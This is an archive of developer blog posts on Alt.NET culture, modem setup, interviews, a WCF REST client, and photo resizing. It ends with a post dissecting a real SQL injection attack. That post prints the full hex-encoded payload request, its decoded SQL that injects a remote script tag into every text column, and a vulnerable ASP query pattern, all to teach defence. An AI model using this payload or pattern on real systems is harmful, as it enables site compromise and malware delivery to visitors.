Alt.NET and the culture of negativity

Sunday, May 10 2009         4 Comments

An interesting lesson I've learnt over the last year is when you find yourself violently disagreeing with someone, or worse still, going along with an angry mob who violently disagree with someone, instead of ignoring that person, or trying to find fault, pay extra close attention to what they have to say.

It's an interesting experiment. You might still come away violently disagreeing, you'll probably come away still disagreeing with most of what they have to say, but I'll bet you that if you truly try to understand where they are coming from, you'll find yourself challenging your assumptions and just possibly learning something.

Every community needs a bad guy, for most of the Alt.NET folks, that bad guy is Scott Bellware. He's an easy target if you want to stand in the crowd and throw stones. But if you pay attention to the things he has to say, a recurring theme is that people have stopped using the Alt.NET label to learn, to teach and to help, and use it more as a platform of self promotion.

I'm finding this to be depressingly more true every day at the moment.

Alt.NET on one hand has given an umbrella with which to talk about a number of topics that didn't really have a good home not so long ago. These discussions have brought us a number of open source products and some fantastic resources for learning, not to mention brought local, face to face community to a group of developers that really didn't feel at home inside the usual run of the mill Microsoft developer user groups.

On the other side, there is an ever increasing group of vocal people in blogs, lists and Twitter who seem to be using the Alt.NET as a means for gaining notoriety by being openly negative about, well, pretty much everything that falls directly outside of the Alt.NET "stack".

There are examples all over the place, such as blog post attacks on Oxite and other MVC guidance attempts by Microsoft (not saying there wasn't justification for a lot of these comments, but there is a constructive way to act and there being childish), the latest blog storm on whether ASP.NET MVC is "worth learning" or not and daily twitter pursefights and general cliched sniping at anything that isn't deemed acceptable to Alt.NET dogma.

At this point it’s not really about Alt.NET and more about “look at me and how alternative I am”.

Some classic examples can be found in the comments to Rob Conery's recent blog post on what Microsoft should "do" for open source.

By the way, there is a fascinating comment there from James Peckham.

“I work in a financial institution. We have a great deal of heterogenous systems and database platforms. From c#, VB, MSSQL to oracle, vsamm files, and DB2. We have java, websphere, asp.net webservices, wcf, and a host of many different types of technologies all working together.

I've seen consistently that our microsoft technology based teams have more secure code, easier to maintain code, and put together more complexity on higher visibility applications more quickly than other teams.

We do have more outages than anyone else but usually they're caused by one of our java or mainframe dependencies. Rarely is our MSSQL a problem or any windows server have any problems. They're easy to update, patch, maintain and have considerable uptime. Our java apps have memory leaks, have considerable IO problems and security vulnerabilities that are constantly being unearthed.”

I've seen a lot in various companies to back this up too. Some of these companies even have *gasp* Enterprise Architects making decisions about how best to get this stuff to work together too.

This is Microsoft's bread and butter, in this world, open source anything is a hard sell, mainly due to legal paranoia. Microsoft releasing their own ORM, Testing framework, build platform, IoC container etc means that companies feel safe using them, and everyone wins. They would be foolish to ignore this market to pander to the desires of some random operator, who bought Eric Evans's book, applied a smattering of the repository pattern to one project and calls him self a DDD purist while cranking out content management sites for small websites.

Back to the Alt.NET thing though, if people really want to make a change in the developer world, then we must lead the way, teach and inspire. Remember that it's easier to catch flies with honey than vinegar. If your goal is to get some weird "respect" from a small group of insiders, then I'd suggest either re-evaluate that desire, or enjoy it while it lasts, because when the next new thing comes along all the bandwagon jumpers will all be there, probably sneering at Alt.NET.

On joining Readify

Tuesday, May 05 2009         No Comments

This post is a little late in coming, mainly because it seems every third post here is about me in a new job!

In November of last year I was chatting with Paul Stovell about what I was up to (nothing overly interesting) and he suggested I have a conversation with Readify. It didn’t seem like a bad option at the time and we did start talking. That conversation took a while, but the end result is that at the end of March I joined Readify as a senior consultant.

After my first week of induction things and some preparation for a client engagement, I’ve been pretty much head down working in the development team at one of our clients. It’s been quite a while since I was hands on with so much code, and it’s been an interesting experience. It’s quite amazing to be in the (oftentimes virtual) company of so many smart people.

I’ve not really carved out my little niche in the land of Readify yet, but give me some time, I have some ideas.

Of course, now I’ve said that I feel like I should go put some disclaimers on my blog. But it should be clear, anything I say here is my opinion only, and doesn’t necessarily reflect the views of my employer or any other entity (or even me sometimes, 10 minutes after I’ve posted it!).

Three wireless broadband and Windows 7

Monday, March 30 2009         5 Comments

Having just moved house I find myself in a position of having no reliable internet connection. Not my favourite place to be.

Last time I moved I had a prepay Optus 3G USB kit, the experience was unbelievably frustrating. I won’t elaborate here, but a #badoptus Twitter search will tell you in real time what people think about it.

Anyway, when the dust settled here today I pulled that modem out and it wouldn’t even think about connecting. Perhaps the SIM gets deactivated if you don’t connect for six months, I’m not sure. I certainly didn’t feel like spending any more money with them to find out.

I did notice the other day that Three are now doing a prepaid 3G offering with a BYO modem package as well. Looked like a good option so I picked one of those up. I have one of the ExpressCard modems from a few years ago so it should have been easy.

Should! Turns out my driver CD was damaged. 

I managed to get the Three SIM working with the Optus modem and connection client though. It worked OK but the USB modem is so easy to bump and I’m not sure it wasn’t half the problem while on Optus, so next step was to download drivers for the Express Card.

Note to Three here… your website sucks, and your search sucks. Your MobiLink download page is here, maybe someone could tell your search “engine”.

Downloaded those, do you think they would install for me on Windows 7 ? Of couse not. That’s alright, I didn’t want the silly connection manager anyway.

Next step, go to the source. The Three modem was actually a Novatel XU870, and the drivers can be downloaded by themselves here.

If you do this, you can actually set up your wireless connection like a dial up connection, and do away with any extra connection client.

It’s worth grabbing the documentation PDF from the Novatel page as it walks you through this process and you’ll need to configure the initialization string for the modem to make it connect. Once you can figure out the APN that is!

The APN is an access point name that informs the modem where to connect, much like a Wifi SSID. If you get this wrong, you’ll be trying to talk to the wrong access point and won’t get anywhere. Or something like that.

As usual, Google and Whirlpool to the rescue for things like this. It turns out that Three use a different APN for their prepay (“3services”) and their normal network (“3netaccess”). So the final init string for this is

AT+CGDCONT=1,"IP","3services"

So with the instructions followed, and the correct APN. I now can connect to the Three network, and I have internets once again while I wait for the ADSL to get connected.

Hopefully this combination of technolgies will seed the Google and help someone else in need.

Tip : Speed up Firefox for ASP.NET development

Monday, February 16 2009         No Comments

Here's a tip for the ASP.NET developers out there using Firefox. Ever noticed how painfully slow FireFox is when you're using the ASP.NET development webserver that comes with Visual Studio ? Sometime last year I found a fix for this after a bunch of googling, then promptly forgot about it. I recently started developing on a new machine and was finding myself annoyed at the speed of Firefox and remembered this was something I'd dealt with in the past.

Take a look here for all the gory details, or if you're in a hurry, go into about:config in firefox, and set network.dns.ipv4OnlyDomains to localhost.

Now back to your (much faster) code.
 

Programmer job interviews

Thursday, January 22 2009         6 Comments

I’ve been working with a company for a few weeks now helping with some .NET capability and planning, one of their immediate needs though has been to hire a new Cold Fusion developer. Since I’m new to the place and I’m not flat out on existing projects, I’ve been running this process.

This has been an interesting experience, and I’ve been amazed at how little interest people pay to the industry they work in, and the tools they work with.

Some examples.

  • I asked a senior developer what they knew about SQL injection. The answer was “We used parameterised queries and the database is managed by the DBAs”. So they knew SQL Injection was a problem, but never took the time, in 8 years, to learn what it was or how it worked.
  • Another developer was doing some AJAX and javascript work, but had never heard of any javascript libraries like jQuery or Prototype.
  • There seems to be a particular issue with Flex / CF developers who build CF services for a Flex client to consume, who have no idea what the underlying transport looks like. I don’t know if people doing SOAP in .NET suffer from the same thing or not.
  • None of them seemed to have any interest in people doing technical blogging, something that I knew about when interviewing people at Massive, but I thought that three or four years later people would have caught on. When Jeff Atwood wrote the now notorious post about the FizzBuzz coding test, it became a common discussion piece amongst people I discuss software with, but two years on, I can use the question in an interview and the answer to “have you heard of fizzbuzz” is always no.

Maybe I’m out of place here, but I feel that part of my job as a technology professional is to pay attention to what is happening in the world, and even if I don’t have the time on my hands to try out different things in depth, I should know about things like Rails and Django (even though I’m primarily a .NET person), jQuery (even though I’m primarily a server side person). Maybe it’s the Alt.Netter(*) in me, but I think that people should just know what’s out there. Can you imagine an advertising account director not paying attention to Pepsi campaigns because they only worked on the Coke account ? They’d be instantly fired!

Some other tips if you’re being interviewed, well I have one really.

I’ll make it simple.

Don’t bullshit!

Don’t tell me you have advanced SQL Server skills if the hardest thing you’ve done is a query with a UNION in it and you don’t know what an index is. Because I’m gonna find that out.

Don’t tell me you’re a good CSS person if you have never heard of the box model.

Don’t say on your resume you’re an ADO.NET expert if you can’t tell me how you’d open a connection to a database and execute a stored proc.

Most (good) interviewers aren’t trying to catch you out or try to make themselves feel superior. They (well, I can only speak for myself but I’d hope) are trying to find out how much you know, and where that knowledge ends. This is so they can make an accurate judgment of where you will fit in with the team. Most good companies will hire promising people that are keen even if they don’t have all the advertised requirements. If you lie, you’ll most likely be found out, and you won’t do yourself ANY favours at all.

Lastly. If you’re a junior developer looking to break into the industry, or take the next step, or you want to make a jump to a new technology. Do something with it. Get involved in an open source project, build something and put it online somewhere, show some initiative, it will count for a lot. I used to spend a bit of time giving advice on various programming forums, and was always amazed at the recent grads whining about nobody willing to give them a chance. Around the same time I saw people that just started building stuff and putting it out there, and they never had any problems when it came to looking for that first job.

I know this is ranty, but I’m actually trying to be very constructive. It really doesn’t take much effort to be aware of your surroundings, the world wide internets makes it pretty easy really, so if you’re looking for a job and want to rise above the others you can do it with a little bit of work. Then again, one of the candidates I called out for his embellishments was offered another gig a few hours later….sigh.

* ( there Richard, I’m working towards my quota!!!)

Building a REST client with WCF

Wednesday, November 12 2008         3 Comments

Microsoft recently released a WCF and REST starter kit on Codeplex. The kit provides a library of helper classes and extension methods for building a REST service, as well as several project templates which will take a lot of the work out of setting up the plumbing. They've enlisted the help of Pluralsight's Aaron Skonnard to provide some guidance which he does in a blog post, whitepaper and series of screencasts. There's some great info there, and it's well worth a look.

What I haven't seen is a lot of coverage is how to consume REST services using WCF. If you watch the screencasts, Aaron uses Fiddler to POST and PUT the resources on the service side. This is great as it shows you what is happening over the wire, but it doesn't help you if you're trying to call a service from your code.

So I've put together a very basic REST service and client as an example to build from.

The service is based on the WCF REST Collection Service template which is added to your Visual Studio templates when you install the starter kit.

resttemplates

 

To make this compile, you'll also need to compile the Microsoft.ServiceModel.Web component source which should be in Program Files\WCF REST Starter Kit\Microsoft.ServiceModel.Web. To do this, you'll also need SP1 of .NET 3.5 and Visual Studio 2008 installed.

I didn't change much from the sample template implementation, I replaced their "SampleItem" class and replaced it with my own "Stock" class and added a few sample values to the initial collection via a constructor.

The end result is a simple REST service that lists some "Stock" data (Name, Symbol, Price) and lets you GET a collection or individual item, POST a new stock ticker and values, and update (PUT) any of the existing ones.

The collection results are wrapped in a StockInfo XML node containing the item as well as an EditLink node with the URI for the resource.

servicexml

I won't dwell to much more on the server side of this as the screencasts do a great job, but I will talk through building a client to consume this service.

Building a simple WCF REST Client

The first thing you need to do is reference the System.ServiceModel and System.ServiceModel.Web assemblies. The System.ServiceModel assembly is the heart of all WCF applications, the Web assembly is new to .NET 3.5 and provides classes for what they call the "web programming model".

Next we create an interface for our client, this defines the Service Contract we will be working with. The interface looks like this :

 

    
[ServiceContract]
    public interface IStockClient
    {
        [OperationContract]
        [WebGet(
            BodyStyle = WebMessageBodyStyle.Bare, 
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = ""
            )]
        StockList GetAllStocks();

        [OperationContract]
        [WebGet(
            BodyStyle = WebMessageBodyStyle.Bare,
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = "{symbol}"
            )]
        Stock GetStock(string symbol);

        [OperationContract]
        [WebInvoke(
            Method = "PUT",
            BodyStyle = WebMessageBodyStyle.Bare,
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = "{symbol}"
            )]
        Stock UpdateStock(string symbol, Stock stock);

        [OperationContract]
        [WebInvoke(
            Method = "POST",
            BodyStyle = WebMessageBodyStyle.Bare,
            ResponseFormat = WebMessageFormat.Xml,
            UriTemplate = ""
            )]
        StockInfo AddStock(Stock stock); 

    }

Most of this will look familiar if you've done any WCF, but to walk through it :

  • The methods we will be inplementing in our local client are GetAllStocks, GetStock, UpdateStock and AddStock. These method names bear no resemblance to any naming convention on the server side, they are just local methods.
  • The ServiceContract attribute tells WCF that this is what the service implementation is going to look like, and the OperationContract tells WCF this is what methods we can call over the wire.
  • The WebGet and WebInvoke attributes tell WCF how we are going to call these on the service side.

To look a little closer at the last point.

[WebGet(
    BodyStyle = WebMessageBodyStyle.Bare, 
    ResponseFormat = WebMessageFormat.Xml,
    UriTemplate = ""
    )]
  • This attribute says we are going to perform a GET request against the service.
  • The WebMessageBodyStyle.Bare means that the response is going to be just the resource data, and not wrapped in any extraneous metadata.
  • ResponseFormat looks pretty self explanatory, we are going to get our data back as XML. Another option here is JSON.
  • UrITemplate defines the location of the resource. As it's blank, we will be performing a GET against the base URI of the service (defined in the configuration, in this case it's http://127.0.0.1:16353/Service.svc/). In the GetStock and UpdateStock methods you'll see that the template is marked up with the name of one of the method parameters, i.e. {symbol}. This means that the call will be made to a URI such as http://127.0.0.1:16353/Service.svc/MSFT.

In some of the other methods, you'll see this decoration as a WebInvoke instead of WebGet. This attribute means that instead of a GET, we are going to perform an HTTP PUT or POST against the service.

That's a big part of the work done there, next we have to provide the implementation of this interface, which in this case is very simple. The WCF libraries do most of the work.

    
public class StockClient : ClientBase<istockclient>, IStockClient     
{         
	public StockList GetAllStocks()         
	{             
		return this.Channel.GetAllStocks();         
	}         
	public Stock GetStock(string symbol)         
	{             
		return this.Channel.GetStock(symbol);         
	}         
	public Stock UpdateStock(string symbol, Stock stock)         
	{             
		return this.Channel.UpdateStock(symbol, stock);         
	}         
	public StockInfo AddStock(Stock stock)         
	{             
		return this.Channel.AddStock(stock);         
	}     
}

 

You'll see this inherits from a ClientBase<T> class, and from IStockClient.

We have a few missing pieces here, I have methods returning StockInfo, Stock and StockList. These are some classes I defined to deserialize the XML into, the classes are defined to match the XML returned from the service as showing in the screenshot above.

 

    
    [CollectionDataContract(Namespace = "")]
    public class StockList : List<stockinfo>
    {
    }

    [DataContract(Namespace = "")]
    public class StockInfo
    {
        [DataMember]
        public Stock Stock { get; set; }
        [DataMember]
        public string EditLink { get; set; }
    }

    [DataContract(Namespace = "")]
    public class Stock
    {
        [DataMember]
        public string Symbol { get; set; }
        [DataMember]
        public string Name { get; set; }
        [DataMember]
        public double Price { get; set; }
    }

You can see that the classes are decorated as DataContracts, and the members are DataMembers. In this case, I've built the classes to match the XML that is being returned from my service. If I wanted to use a different naming convention in my client, I can use the Name property in the DataContract constructor to match the XML.

The final piece of the puzzle is the configuration. Configuration of WCF is the part that scares most people, this is in part because Visual Studio's generated code adds all of the possible options. The configuration for this is quite simple though.

wcf_config

  • We've defined an endpoint, which is the base address for the service.  It is sitting on an ASP.NET Development Server at http://127.0.0.1:16353/Service.svc/.
  • We're using the webHttpBinding.
  • We have defined a contract in IStockClient and provided a qualified configuration value for that.
  • Finally we've specified a behavior, called "stocks". Below the endpoint configuration we have defined this and placed the webHttp tag.

That's really all there is to it, I haven't implemented any authentication and security in either the service or the client, that might be a topic for a future article. You can download the source here and run it if you like. You'll see I've implemented this inside a simple Console app, so as to not confuse the issue with multiple assemblies, you can run it and see the various methods being called.

WCF is very flexible and powerful, and this comes with the tradeoff of having a vast array of options and configuration choices. I think this seems to scare a lot of people away from adopting WCF or even finding the time to look at it. WCF isn't going away any time soon though, and REST (or REST like) APIs are in vouge at the moment and the two are a very powerful combination so I hope this demystifies a few things for people.

Going Solo - part 1

Wednesday, October 29 2008         No Comments

It wasn't very long ago that I was raving about my new position in the not for profit world, but things change and I decided to move on after six months.

Essentially the direction I wanted to take things there ended up different to the way the board and others wanted to go, and I wasn't really happy going along so we parted ways.

I took a few weeks off to sort out a horrendous house moving experience, I've done some reflecting, spent a bit of time learning some new technology and I'm ready for the next step.

What I am good at, is looking at a problem and determining a good technology (or not technology) solution for it. I spend a lot of time knowing about the tools out there to achieve various tasks, and I'm good at making those things work together. I also am able to explain the technology side to the business people who might not have a deep understanding of most of these things.

On the development side, I'm also very interested in the tools to make a low friction development environment, things like good source control practices, continuous integration, automated deployments, unit testing etc

So I've decided to go more towards solution architecture consulting, maybe a little bit of training and mentoring.

I also like having my own working space, and flexibility in my time so doing this for myself makes a lot of sense.

I'm still working out what sort of structure this is going to have, so stay tuned for a part 2 blog post. In the meantime, if you have any nice projects, or other ideas, please feel free to get in touch.

NHibernate at Sydney Alt.Net

Wednesday, October 29 2008         No Comments

Last night I gave part of a talk on NHibernate and ASP.NET MVC at the newly formed Sydney ALT.NET group.

I took the first half on NHibernate and Ali Shafai took the second part and did a demo of MVC, which he describes as "a brand new technology invented by Microsoft ;)

We were a little rushed for time, and I unplugged from the projector before showing my last slide with some helpful links for people wanting to use NHibernate, so here they are.

  • NHForge is a new community run project aimed at being a central place to go for articles / FAQs and help.
  • The NHusers Google Group is a good discussion group with users and developers.
  • Check out the Summer of NHibernate screencast series if videos are more your thing.
  • Sharp Architecture is a project by Billy McCafferty to provide a "best practice" starter kit for an NHibernate / ASP.NET MVC project. I used a couple of the patterns and some code from this in the demo.
  • I also mentioned the NHibernate in Action book from Manning publications.
  • Unrelated to NHibernate, in the first part of the talk I said that there was an WCF Rest starter kit project on Codeplex, but we couldn't find it. Here is a link to that if you're interested.

I had fun doing the talk, hope it was enjoyable for those in attendance. Thanks again to Richard for organising the group and Thoughtworks for giving us space to do it.

Resizing photos with ImageMagick

Tuesday, August 26 2008         No Comments

With a couple of small children, and a nice digital SLR, a lot of photos get taken in this house.

Of course people want the photos emailed to them, and it’s just impolite to email a collection of 3mb images (did you get that everyone ? impolite!). It’s pretty tedious going through and manually resizing stacks of files, so a few years ago I looked at some alternatives.

The answer is ImageMagick, the open source image manipulation suite that will do just about everything, run on any platform and integrate with any language.

There are a few elegant ways I could have used the ImageMagick library to automate some photo resizing but a two line batch file does an ok job. Unfortunely, every time I’ve reinstalled Windows on Sam’s computer, I forgot to back up and migrate this particular script. To having to look up all the command line parameters again tonight, and to avoid it next time, here is the script.

mkdir emailable
for %%f in (*.jpg) DO "c:\Program Files\ImageMagick-6.4.3-Q16\convert.exe" "%%f" -resize 1000 -quality 50 "emailable\small_%%f"

Not pretty, but functional. Save this in a file called “emailable.bat” somewhere in your path.

I use the Command Shell here PowerToy to open up a command window in a new directory of photos (the Canon software exports photos to a folder for each day), type “emailable” and it creates a subdirectory and copies a lower quality, smaller version of every photo there.

Hopefully this workflow will appeal to someone else out there, but for me, it’s now safely online and in Google’s cache.

 

SQL Injection hack deconstructed

Friday, August 22 2008         No Comments

This is not the first time I’ve talked about SQL Injection here, but I’ve spent some time this week cleaning up an automated SQL Injection attack on a site I’ve inherited the maintenance on.

I got the call the other day saying “the site is looking funny, all the formatting is messed up”, one look at the page and a view source and I knew what was up. A database restore fixed the immediate problem, then it was a matter of looking at the server logs to find out the how and where so I could fix it.

The attack was pretty easy to find in the logs, a whole bunch of requests that looked like this :

GET /default.asp ti=1402&client=1;DECLARE%20@S%20VARCHAR(4000);
SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152
434841522832353529204445434C415245205461626C655F437572736F722043
5552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046
524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574
845524520612E69643D622E696420414E4420612E78747970653D2775272041
4E442028622E78747970653D3939204F5220622E78747970653D3335204F522
0622E78747970653D323331204F5220622E78747970653D31363729204F5045
4E205461626C655F437572736F72204645544348204E4558542046524F4D205
461626C655F437572736F7220494E544F2040542C4043205748494C45284040
46455443485F5354415455533D302920424547494E2045584543282755504441
5445205B272B40542B275D20534554205B272B40432B275D3D525452494D284
34F4E5645525428564152434841522834303030292C5B272B40432B275D2929
2B27273C736372697074207372633D687474703A2F2F7777772E756A6E632E
72752F6A732E6A733E3C2F7363726970743E27272729204645544348204E45
58542046524F4D205461626C655F437572736F7220494E544F2040542C4043
20454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43
415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));
EXEC(@S);--

Ugly!

What’s happening here is the long ugly bit is a chunk of SQL encoded as Varbinary. A SQL variable (@S) is being declared, then the varbinary value is being cast back to varchar into the variable, which is then EXECuted.

If you decode this value, you get this bit of SQL code :


DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://evilwebsite.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://evilwebsite.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Ouch!

So this is finding all the large text columns by querying the system tables, and updating them to insert a script tag which can deliver any nasty payload the decide to put there.

The reason this attack is so effective is to most asp websites (this is an old site that was hit), the most checking of querystring values is the old standard of replacing the apostrophes. As you see from the GET request, there are no apostrophes. So a typical piece of asp code might look like this :

Dim sql
sql = "SELECT id, title, body FROM articles WHERE id = " & Replace(Request.QueryString("id"), "'", "''")
set rs = conn.exec(sql)

The act of escaping the apostrophes is pretty good against pretty much every SQL Injection attack we’ve seen in the wild, but as you can see, totally useless against a binary encoded query that is being dynamically executed.

Thankfully the safeguards are easy and well documented.

  • Strongly typed variables
  • Parameterised queries and / or stored procs

If you’re in charge of an older site that doesn’t do these things, go check it now and make sure you’re databases are backed up. Because there are bots out there scanning, and you will get hit by this.

On security disclosure

Several years ago, while writing some articles on SQL Injection and preparing some training materials to present to some co workers I did a lot of experimenting and uncovered this style of attack. It is being used here to insert nasty script into content, but if you are running your website under a high privilege account (i.e. SA) you can do some real damage. It’s possible to fire off an xp_cmdshell command with this technique which lets you take full control of a server, all via a web site URL. I sent it round to a few trusted friends saying “what should I do about this ?” I’ve never been part of a security research scene and I had a dilemma. Publish this and educate a whole bunch of people on how to do it, or keep quiet about it and hope it didn’t get figured out by anyone else that wanted to use it maliciously.

In the end I kept quiet about it, so the irony that it came back to bite me isn’t lost.

What would you have done ?